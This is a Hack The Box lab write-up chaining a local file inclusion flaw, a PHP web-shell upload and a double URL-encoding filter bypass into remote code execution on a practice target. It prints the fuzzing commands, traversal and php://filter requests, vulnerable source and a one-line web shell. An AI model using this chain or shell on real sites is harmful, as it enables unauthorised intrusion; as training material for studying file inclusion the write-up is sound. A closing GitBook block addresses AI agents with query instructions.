> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-inclusion.md).

# File Inclusion

## Skills Assessment Walkthrough

> **HTB Module:** File Inclusion **Difficulty:** Hard **Goal:** Find LFI vulnerability → chain with file upload → achieve RCE → capture the flag **Target:** Sumace Consulting GmbH website&#x20;
>
> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F7kcNZgZYJN4RQgfj3smY%2Fimage.png?alt=media\&token=23b71cf5-b2f1-484e-8b8e-0e9636f36d3b)![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FvLVMKpxM8KX2IuGc399A%2Fimage.png?alt=media\&token=c9c7fc2f-80ba-41f3-bf18-8ea49b69044e)

***

### 📌 Scenario

We've been contracted by **Sumace Consulting GmbH** to pentest their main website. During the kickoff meeting, the CISO mentioned that last year's pentest had zero findings, but they added a **job application form** since then. That's our point of interest.

### 🗺️ Attack Chain

```
Recon → ffuf directory/file/parameter fuzzing
  → LFI in /api/image.php?p= (....// bypass)
    → PHP filter wrapper → dump source code of all pages
      → Understand: image.php (file_get_contents), contact.php (include), application.php (upload)
        → Chain: Upload shell.php via apply.php → md5 filename
          → Double URL-encode path → Include via contact.php?region=
            → RCE as www-data → cat /flag 🏴
```

***

***

## Step 1 — Recon: The Sumace Website

Browse to the target. It's a corporate IT consulting site with 3 pages: **Home**, **Contact**, and **Apply**.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FW0RFQnlItN7YjqcZCvx8%2Fimg-000.png?alt=media\&token=77153d07-0045-4400-88fb-74425cb0e23d)

***

## Step 2 — Fuzzing: Directories & PHP Files

Use **ffuf** to enumerate directories, PHP files, and parameters.

#### Directory fuzzing:

```bash
ffuf -ic -u http://154.57.164.82:31637/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -fs 3405
```

Found: `/api`, `/css`, `/images`, `/uploads`

#### PHP file fuzzing:

```bash
ffuf -ic -u http://154.57.164.82:31637/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e .php -fs 3405
```

Found: `apply.php`, `contact.php`, `thanks.php`

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FUGZbdldlYXQV1amiydL4%2Fimg-001.png?alt=media\&token=a20d57d6-6262-4d5a-bfa3-b6ab60f4b49d)

***

## Step 3 — Fuzzing: API Files & Parameters

#### API PHP files:

```bash
ffuf -ic -u http://154.57.164.82:31637/api/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e .php -fs 3405
```

Found: `application.php`, `image.php`

#### Parameter fuzzing on each PHP file:

```bash
# contact.php
ffuf -ic -u http://154.57.164.82:31637/contact.php?FUZZ=test -w burp-parameter-names.txt
# → Found: region

# thanks.php
ffuf -ic -u http://154.57.164.82:31637/thanks.php?FUZZ=test -w burp-parameter-names.txt -fs 1086
# → Found: n

# api/image.php
ffuf -ic -u http://154.57.164.82:31637/api/image.php?FUZZ=... -w burp-parameter-names.txt -fw 1
# → Found: p
```

**Parameters discovered:**

* `/contact.php?region=`
* `/thanks.php?n=`
* `/api/image.php?p=`

> <img src="https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FAHb16TtRAg9axSLoUExl%2Fimg-002.png?alt=media&amp;token=a2739e7a-c3f7-4d53-bbd2-4e9ed8418c99" alt="" data-size="original">

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F2DN4t4o3wcMLVjhFwNM3%2Fimg-003.png?alt=media\&token=9ef00867-887e-4cf0-a646-954b73a3d2dd)

***

## Step 4 — LFI Suite: Automated LFI Detection

Use **LFI Suite** (`lfisuite.py`) to automatically test for LFI on the discovered parameters. The tool tests multiple techniques against `/api/image.php?p=`:

```bash
python2 lfisuite.py
# Select: 1) Exploiter
# Select: 9) Auto-Hack
# URL: http://154.57.164.82:31637/api/image.php?p=
# Wordlist: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F4m9v7M7UarvgBXYaE3lc%2Fimg-004.png?alt=media\&token=d7303235-2553-4933-a092-bb1553983bed)

**Result:** 19 generic LFI payloads work! The `....//` traversal technique successfully reads `/etc/passwd`.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FVzBxjaZQsndIdO8F0xS5%2Fimg-005.png?alt=media\&token=cc8e81df-be2b-4994-8af4-fc4b2cf9c2b5)

***

## Step 5 — Burp: Dumping /etc/passwd

Use the discovered traversal technique in Burp:

```
GET /api/image.php?p=....//....//....//....//....//etc/passwd
```

**Note:** Only `....//` (double-dot-dot-slash) works — the app strips `../` but not recursively, so `....//` becomes `../` after filtering.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FLs8Wl5lcbwoUmHvwQaPe%2Fimg-006.png?alt=media\&token=8a7b7e17-f6d1-449d-a0c9-83b01e5615fa)

***

## Step 6 — PHP Filter Wrapper: Reading Source Code

Use `php://filter/read=convert.base64-encode/resource=` wrapped with the `....//` traversal to read source code of all PHP files:

```
GET /api/image.php?p=php://filter/read=convert.base64-encode/resource=....//....//....//....//....//api/image.php
```

#### Source code revealed:

**`/api/image.php`** — uses `file_get_contents()` (read-only, no code execution):

```php
<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>
```

**`/api/application.php`** — file upload, saves with MD5 hash filename:

```php
<?php
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);
header("Location: /thanks.php?n=" . urlencode($firstName));
?>
```

**`/contact.php`** — uses `include()` (code execution!) but filters `.` and `/`:

```php
<?php
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}
if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>
```

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FpKYYnpMmxGgu7IlxesYv%2Fimg-007.png?alt=media\&token=37183006-4ceb-4911-bf98-229fe6e32d3a)

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fm3Oabgv4CaINJOUnz2H3%2Fimg-008.png?alt=media\&token=316059ac-a773-4603-a9ee-051bf39093e3)

***

## Step 7 — The Chain: Vulnerability Analysis

Now we understand all 3 components:

| File                   | Function               | Capability                                    |
| ---------------------- | ---------------------- | --------------------------------------------- |
| `/api/image.php`       | `file_get_contents()`  | Read files only (LFI), strips `../`           |
| `/api/application.php` | `move_uploaded_file()` | Upload files, saves as `md5_hash.ext`         |
| `/contact.php`         | `include()`            | **Execute PHP code!** But filters `.` and `/` |

**The chain:**

1. **Upload** `shell.php` via the Apply page → saved as `<md5_hash>.php` in `/uploads/`
2. **Include** the uploaded shell via `contact.php?region=` → RCE!
3. The `.` and `/` filter in contact.php is bypassed with **double URL encoding** (it checks before `urldecode()`)

***

## Step 8 — Upload the Web Shell

Create a simple PHP web shell:

```php
<?php system($_GET["cmd"]); ?>
```

Upload it via the **Apply** page (`/apply.php`) as a "resume":

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FtxxFro2lFQSDQzHxkc9c%2Fimg-009.png?alt=media\&token=a55a4f93-9e5c-4c88-839e-d4ff188fc24f)

***

## Step 9 — Get the MD5 Filename

The uploaded file is saved as `md5_hash.php`. We need the MD5 hash of our `shell.php` file to access it:

```bash
md5sum shell.php
# fc023fcacb27a7ad72d605c4e300b389  shell.php
```

So the file is saved at: `/uploads/fc023fcacb27a7ad72d605c4e300b389.php`

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FnwNyFwrhJlI9wbNE8KWw%2Fimg-010.png?alt=media\&token=97a66d09-1b87-4814-879d-65c592b85747)

***

## Step 10 — Double URL Encode the Path

The `contact.php` checks for `.` and `/` **before** calling `urldecode()`. So we double URL-encode our path to bypass the filter:

Path: `../uploads/fc023fcacb27a7ad72d605c4e300b389`

**First URL encode:**

```
%2E%2E%2Fuploads%2Ffc023fcacb27a7ad72d605c4e300b389
```

**Double URL encode:**

```
%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389
```

Use CyberChef to do this:

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FA7ObANEARvC96AIk2jnL%2Fimg-011.png?alt=media\&token=d49bf060-828e-405d-8fd3-93120ed17780)

**Why this works:**

1. PHP receives `%252E%252E%252F...` → checks for `.` and `/` → NOT found ✅
2. Then `urldecode()` runs → becomes `%2E%2E%2F...`
3. `include()` interprets → becomes `../uploads/fc023fcacb27a7ad72d605c4e300b389.php`
4. Shell gets included and executed! 🔥

***

## Step 11 — RCE as www-data!

Access the shell via:

```
http://154.57.164.82:30439/contact.php?region=%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389&cmd=<command>
```

Test with `cmd=ls /` and `cmd=id`:

```
www-data
```

```
bin boot dev etc flag_file home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
```

We have RCE! 🔥 We can see the flag file in `/`.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FsKPSo8RnVkreQC6dBXR7%2Fimg-012.png?alt=media\&token=8d7f31a9-e6b6-4c03-96bd-5fe32906adf7)

***

## Step 12 — Cat the Flag!

```
http://154.57.164.82:30439/contact.php?region=%252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389&cmd=cat+/flag
```

```
eedbb<redacted>
```

**Flag captured!** 🏴

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FPYTgTbkWechw3xj6S9b8%2Fimg-013.png?alt=media\&token=3640048b-43fa-41ed-9bab-707b1f58eb12)

***

## 🏆 Pwned!

Directory fuzzing → parameter fuzzing → LFI with `....//` bypass → PHP filter source code dump → vulnerability chaining (upload + include) → double URL-encode bypass → RCE → flag.

#### The Vulnerability Chain Explained

```
1. /api/image.php?p=     → LFI via ....// (str_replace bypass)
                           Uses file_get_contents() — read only, no exec

2. /api/application.php  → File upload, saves as md5_hash.ext
                           No extension filter — .php allowed!

3. /contact.php?region=  → include() with . and / filter
                           Bypass: double URL-encode (checked BEFORE urldecode)

CHAIN: Upload shell.php (step 2) → Include via contact.php (step 3) → RCE!
```

#### Tools Used

| Tool          | Purpose                                       |
| ------------- | --------------------------------------------- |
| `ffuf`        | Directory, file, and parameter fuzzing        |
| `lfisuite.py` | Automated LFI technique detection             |
| Burp Suite    | LFI exploitation, PHP filter source code read |
| CyberChef     | Double URL encoding for filter bypass         |
| Browser       | RCE via webshell, flag retrieval              |

***

> **GG 🏴** — LFI ....// bypass → PHP filter source dump → upload shell → double URL-encode → include() RCE → flag.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-inclusion.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
